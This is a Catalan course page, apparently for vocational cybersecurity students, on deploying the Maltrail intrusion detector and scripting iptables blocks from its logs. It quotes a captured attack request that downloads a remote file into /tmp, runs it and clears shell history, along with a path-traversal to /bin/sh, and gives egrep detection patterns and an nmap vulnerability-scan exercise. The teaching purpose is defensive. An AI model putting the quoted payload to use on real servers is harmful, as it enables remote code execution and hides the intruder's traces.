====== pràctica-ids-maltrail ======
{{tag> ids #FpInfor #Ciber #CiberMp03 #Ceti #CetiMp03}}
Utilització de l’ids maltrail com a detector d’intrussions i afegirem opcions de bloqueig a les deteccions a traves d’un script que recull del log de l’ids.
Una vegada instal·lat té un entorn web per visualitzar els events a la http://ip:8338 amb credencials per defecte admin - changeme!
{{:maltrail1.jpg?400|}}
Visitar el projecte maltrail
[[https://github.com/stamparm/maltrail]]
Pot tenir una arquitectura sensor server per separat o integrat a la mateixa màquina. El nostre cas seria utilitzar l’enrutador de l’organització incorporant aquest ids.
En el nostre centre es troba instal·lat en el router tallafocs gestionant tot el tràfic d’entrada i sortida del centre les 24h.
Tenim instal·lació separada, es troba als servidors de moodle, darrera del proxy-invers d’apache.
{{:esquema.jpg?400|}}
quick start instal·lació
For Ubuntu/Debian
sudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool
sudo pip3 install pcapy-ng
git clone --depth 1 https://github.com/stamparm/maltrail.git
cd maltrail
sudo python3 sensor.py &
sudo python3 server.py &
Exemple de detecció
{{:maltrail2.jpg?400|}}
detall del contingut de la petició ‘potential remote code execution’
{{:maltrail3.jpg?400|}}
IPSERVIDOR/shell?cd /tmp;wget http://103.147.122.68/.3 -o fnu;chmod 777 fnu;sh fnu;rm -rf fnu;history -w;history -c
IPSERVIDOR/cgi-bin/../../../../bin/sh
I ALTRES deteccions
{{:maltrail4.jpg?400|}}
La instal·lació de maltrail ja està molt bé documentada a la web del proveïdor. Realitzar el test també és molt fàcil
To test that everything is up and running execute the following
ping -c 1 136.161.101.53
cat /var/log/maltrail/$(date +"%Y-%m-%d").log
Per realitzar el bloqueig dependrà de la classificació de la columna ‘info’, entre altres
{{:maltrail5.jpg?400|}}
La idea seria convertir aquest ids en ips.
El log de maltrail està guardat diariament a /var/log/maltrail
root@l:/var/log/maltrail# ls -lt
total 1720376
-rw-r--r-- 1 root root 868862 jul 10 23:35 2022-07-10.log
-rw-r--r-- 1 root root 577587 jul 9 23:57 2022-07-09.log
-rw-r--r-- 1 root root 481074 jul 8 23:55 2022-07-08.log
-rw-rw-rw- 1 root root 226401 jul 8 06:59 error.log
-rw-r--r-- 1 root root 432028 jul 7 23:59 2022-07-07.log
-rw-r--r-- 1 root root 362347 jul 6 23:58 2022-07-06.log
Contingut log maltrail
root@l:/var/log/maltrail# more 2022-07-10.log
"2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)"
"2022-07-10 00:00:15.333043" zentyal 222.186.19.205 57034 172.16.1.1 9080 TCP IP 222.186.19.205 "known attacker" "blocklist.de (+emergingthreats.net,greensnow.co,rulez.s
k,rutgers.edu)"
……
Si ara filtrem per valors a la columna info per trobar el potential code execution presentat anteriorment amb la ip 45.61.185.76
rootl:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|grep 45.61.185.76
"2022-07-10 04:13:11.375192" l 45.61.185.76 42122 172.16.1.1 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic)
"2022-07-10 04:13:11.375257" l 45.61.185.76 42122 192.168.1.175 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic)
……
la columna 4 que és la que conté la ip agressora
cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}'
o
root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|cut -d ' ' -f 4
Finalment, aquestes son les ip detectades avui
root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}'
103.251.167.21
104.248.244.119
107.181.185.226
114.249.223.57
114.35.102.141
1.235.128.206
128.199.43.218
129.146.241.147
134.122.66.121
134.209.198.12
138.68.91.192
139.255.4.205
139.59.87.181
141.98.10.157
141.98.10.74
141.98.11.29
144.172.73.66
159.89.115.75
162.247.72.199
165.227.124.168
167.172.207.63
167.172.50.255
179.60.147.74
181.49.53.26
182.75.139.26
185.146.232.168
185.196.220.70
185.220.100.240
185.220.100.241
185.220.100.244
185.220.100.255
185.220.101.47
185.220.102.7
Realitzem la redirecció a un fitxer.data per tenir les ip’s
fecha=$(date +%F)
echo $fecha
A=ip-ids.$fecha
echo $A
cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
Finalment podem intergrar-ho amb iptables per tal d’afegir-les directament a partir del fitxer generat.
fecha=$(date +%F)
echo $fecha
A=ip-ids.$fecha
echo $A
#cat /var/log/maltrail/2022-07-13.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|sql|config)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
#no poso sql pq de vegades son alumnes als serveis interns.
cat /var/log/maltrail/$(date +"%Y-%m-%d").log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|config|php injection)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
for ip in $(cat $A); do
echo $ip
#comprovem si la ip està ja dintre del tallafocs, grep -w nomes per aquesta paraula, si no està l'afegim en diferents taules.
GG=$(/sbin/iptables -nvL INPUT |grep -w $ip | uniq -c | awk '{print $9}' )
if [ ! $GG ] ; then
/sbin/iptables -t mangle -A PREROUTING -s $ip -j DROP
/sbin/iptables -A INPUT -s $ip -j DROP
/sbin/iptables -A FORWARD -s $ip -j DROP
/sbin/iptables -A OUTPUT -d $ip -j DROP
echo 'ESCRIBO NUEVA IP BLOQUEIG'
fi
#echo 'ja estava' $ip
done;
echo 'FINALItZAt Afegir les noves ip-ids'
\\
===== EXERCICI =====
- Afegir a crontab l'execució repetida del teu script
- L'alumne provocarà nvoes entrades a l'ids a traves per exemple de nmap, opció cercar vulnerabilitats, per tal de comprovar el seu funcionament i ajustar la periocitat al cron
- nmap x.x.x.x -A -T4 -sV --script vuln -p 80,443,1521
- {{:maltrail6.jpg?400|}}
- {{:maltrail7.jpg?400|}}
\\